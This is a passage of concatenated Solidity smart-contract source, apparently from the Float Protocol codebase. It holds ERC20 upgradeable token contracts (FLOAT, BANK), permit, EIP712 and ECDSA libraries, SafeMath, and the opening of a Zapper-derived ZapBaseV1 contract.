recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "./ERC20PermitUpgradeable.sol"; import "./ERC20PausableUpgradeable.sol"; import "./ERC20SupplyControlledUpgradeable.sol"; /** * @dev {ERC20} FLOAT token, including: * * - a minter role that allows for token minting (necessary for stabilisation) * - the ability to burn tokens (necessary for stabilisation) * - the use of permits to reduce gas costs * - a pauser role that allows to stop all token transfers * * This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions * using the different roles. * This contract is upgradable. */ contract FloatTokenV1 is ERC20PausableUpgradeable, ERC20PermitUpgradeable, ERC20SupplyControlledUpgradeable { /** * @notice Construct a FloatTokenV1 instance * @param governance The default role controller, minter and pauser for the contract. * @param minter An additional minter (useful for quick launches, check this is revoked) * @dev We expect minters to be defined on deploy, e.g. AuctionHouse should get minter role */ function initialize(address governance, address minter) external initializer { __Context_init_unchained(); __ERC20_init_unchained("Float Protocol: FLOAT", "FLOAT"); __ERC20Permit_init_unchained("Float Protocol: FLOAT", "1"); __ERC20Pausable_init_unchained(governance); __ERC20SupplyControlled_init_unchained(governance); _setupRole(DEFAULT_ADMIN_ROLE, governance); // Quick launches _setupRole(MINTER_ROLE, minter); } /// @dev Hint to compiler, that this override has already occured. function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) { super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/GSN/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "../external-lib/Counters.sol"; import "../external-lib/EIP712.sol"; import "./interfaces/IERC20Permit.sol"; /** * @dev Wrapper implementation for ERC20 Permit extension allowing approvals * via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612. */ contract ERC20PermitUpgradeable is IERC20Permit, Initializable, ERC20Upgradeable { using Counters for Counters.Counter; bytes32 private constant PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); bytes32 internal _domainSeparator; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line func-name-mixedcase function __ERC20Permit_init_unchained( string memory domainName, string memory version ) internal initializer { _domainSeparator = EIP712.domainSeparatorV4(domainName, version); } /// @inheritdoc IERC20Permit // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override(IERC20Permit) returns (bytes32) { return _domainSeparator; } /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override(IERC20Permit) { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit/ExpiredDeadline"); bytes32 structHash = keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline ) ); bytes32 hash = EIP712.hashTypedDataV4(_domainSeparator, structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit/InvalidSignature"); _approve(owner, spender, value); } /// @inheritdoc IERC20Permit function nonces(address owner) external view virtual override(IERC20Permit) returns (uint256) { return _nonces[owner].current(); } /** * @dev "Consume a nonce": return the current value and increment. */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } uint256[48] private __gap; } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title {ERC20} Supply Controlled token that allows burning (by all), and minting * by MINTER_ROLE * * @dev This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions using the different roles. */ abstract contract ERC20SupplyControlledUpgradeable is Initializable, AccessControlUpgradeable, ERC20Upgradeable { using SafeMath for uint256; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); // solhint-disable-next-line func-name-mixedcase function __ERC20SupplyControlled_init_unchained(address minter) internal initializer { _setupRole(MINTER_ROLE, minter); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) external virtual { require( hasRole(MINTER_ROLE, _msgSender()), "ERC20SupplyControlled/MinterRole" ); _mint(to, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) external virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) external virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub( amount, "ERC20SupplyControlled/Overburn" ); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; /** * @title Counters * @author Matt Condon (@shrugs) https://github.com/OpenZeppelin/openzeppelin-contracts * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); counter._value = value - 1; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./ECDSA.sol"; // Based on OpenZeppelin's draft EIP712, with updates to remove storage variables. /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * */ library EIP712 { bytes32 private constant _TYPE_HASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); /** * @dev Returns the domain separator for the current chain. */ function domainSeparatorV4(string memory name, string memory version) internal view returns (bytes32) { return _buildDomainSeparator( _TYPE_HASH, keccak256(bytes(name)), keccak256(bytes(version)) ); } function _buildDomainSeparator( bytes32 typeHash, bytes32 name, bytes32 version ) private view returns (bytes32) { uint256 chainId; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } return keccak256(abi.encode(typeHash, name, version, chainId, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for the given domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = EIP712.hashTypedDataV4( * EIP712.domainSeparatorV4("DApp Name", "1"), * keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function hashTypedDataV4(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return ECDSA.toTypedDataHash(domainSeparator, structHash); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } } else if (signature.length == 64) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and( vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ) v := add(shr(255, vs), 27) } } else { revert("ECDSA: invalid signature length"); } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/GSN/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @dev {ERC20} BANK token, including: * * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions * using the different roles. * This contract is upgradable. */ contract BankToken is Initializable, PausableUpgradeable, AccessControlUpgradeable, ERC20Upgradeable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** @notice Construct a BankToken instance @param admin The default role controller, minter and pauser for the contract. @param minter An additional minter (for quick launch of epoch 1). */ function initialize(address admin, address minter) public initializer { __ERC20_init("Float Bank", "BANK"); _setupRole(DEFAULT_ADMIN_ROLE, admin); _setupRole(MINTER_ROLE, admin); _setupRole(MINTER_ROLE, minter); _setupRole(PAUSER_ROLE, admin); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "Bank::mint: must have minter role to mint"); _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "Bank::pause: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "Bank::unpause: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20Upgradeable) { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "../lib/Upgradeable.sol"; import "./ERC20PermitUpgradeable.sol"; import "./ERC20PausableUpgradeable.sol"; import "./ERC20SupplyControlledUpgradeable.sol"; /** * @dev {ERC20} BANK token, including: * * - a minter role that allows for token minting (necessary for stabilisation) * - the ability to burn tokens (necessary for stabilisation) * - the use of permits to reduce gas costs * - a pauser role that allows to stop all token transfers * * This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions * using the different roles. * This contract is upgradable. */ contract BankTokenV2 is ERC20PausableUpgradeable, ERC20PermitUpgradeable, ERC20SupplyControlledUpgradeable, Upgradeable { /** * @notice Construct a brand new BankTokenV2 instance * @param governance The default role controller, minter and pauser for the contract. * @dev We expect minters to be defined after deploy, e.g. AuctionHouse should get minter role */ function initialize(address governance) external initializer { _version = 2; __Context_init_unchained(); __ERC20_init_unchained("Float Bank", "BANK"); __ERC20Permit_init_unchained("Float Protocol: BANK", "2"); __ERC20Pausable_init_unchained(governance); __ERC20SupplyControlled_init_unchained(governance); _setupRole(DEFAULT_ADMIN_ROLE, governance); } /** * @notice Upgrade from V1, and initialise the relevant "new" state * @dev Uses upgradeAndCall in the ProxyAdmin, to call upgradeToAndCall, which will delegatecall this function. * _version keeps this single use * onlyProxyAdmin ensures this only occurs on upgrade */ function upgrade() external onlyProxyAdmin { require(_version < 2, "BankTokenV2/AlreadyUpgraded"); _version = 2; _domainSeparator = EIP712.domainSeparatorV4("Float Protocol: BANK", "2"); } /// @dev Hint to compiler that this override has already occured. function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) { super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; /** * @title Upgradeable * @dev This contract provides special helper functions when using the upgradeability proxy. */ abstract contract Upgradeable { uint256 internal _version; /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; modifier onlyProxyAdmin() { address proxyAdmin; bytes32 slot = ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { proxyAdmin := sload(slot) } require(msg.sender == proxyAdmin, "Upgradeable/MustBeProxyAdmin"); _; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "../BasisMath.sol"; contract BasisMathMock { using BasisMath for uint256; function _splitBy(uint256 value, uint256 percentage) public pure returns (uint256, uint256) { return value.splitBy(percentage); } } // ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗ // ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║ // ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║ // ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║ // ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║ // ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝ // Copyright (C) 2021 zapper // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // ///@author Zapper // SPDX-License-Identifier: GPLv2 // Changes: // - Conversion to 0.7.6 // - library imports throughout // - remove revert fallback as now default import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; pragma solidity ^0.7.6; contract ZapBaseV1 is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; bool public stopped = false; // if true, goodwill is not deducted mapping(address => bool) public feeWhitelist; uint256 public goodwill; // % share of goodwill (0-100 %) uint256 affiliateSplit; // restrict affiliates mapping(address => bool) public affiliates; // affiliate => token => amount mapping(address => mapping(address => uint256)) public affiliateBalance; // token => amount mapping(address => uint256) public totalAffiliateBalance; address internal constant ETHAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; constructor(uint256 _goodwill, uint256 _affiliateSplit) { goodwill = _goodwill; affiliateSplit = _affiliateSplit; } // circuit breaker modifiers modifier stopInEmergency { if (stopped) { revert("Temporarily Paused"); } else { _; } } function _getBalance(address token) internal view returns (uint256 balance) { if (token == address(0)) { balance = address(this).balance; } else { balance = IERC20(token).balanceOf(address(this)); } } function _approveToken(address token, address spender) internal { IERC20 _token = IERC20(token); if (_token.allowance(address(this), spender) > 0) return; else { _token.safeApprove(spender, uint256(-1)); } } function _approveToken( address token, address spender, uint256 amount ) internal { IERC20 _token = IERC20(token); _token.safeApprove(spender, 0); _token.safeApprove(spender, amount); } // - to Pause the contract function toggleContractActive() public onlyOwner { stopped = !stopped; } function set_feeWhitelist(address zapAddress, bool status) external onlyOwner { feeWhitelist[zapAddress] = status; } function set_new_goodwill(uint256 _new_goodwill) public onlyOwner { require( _new_goodwill >= 0 && _new_goodwill <= 100, "GoodWill Value not allowed" ); goodwill = _new_goodwill; } function set_new_affiliateSplit(uint256 _new_affiliateSplit) external onlyOwner { require(_new_affiliateSplit <= 100, "Affiliate Split Value not allowed"); affiliateSplit = _new_affiliateSplit; } function set_affiliate(address _affiliate, bool _status) external onlyOwner { affiliates[_affiliate] = _status; } ///@notice Withdraw goodwill share, retaining affilliate share function withdrawTokens(address[] calldata tokens) external onlyOwner { for (uint256 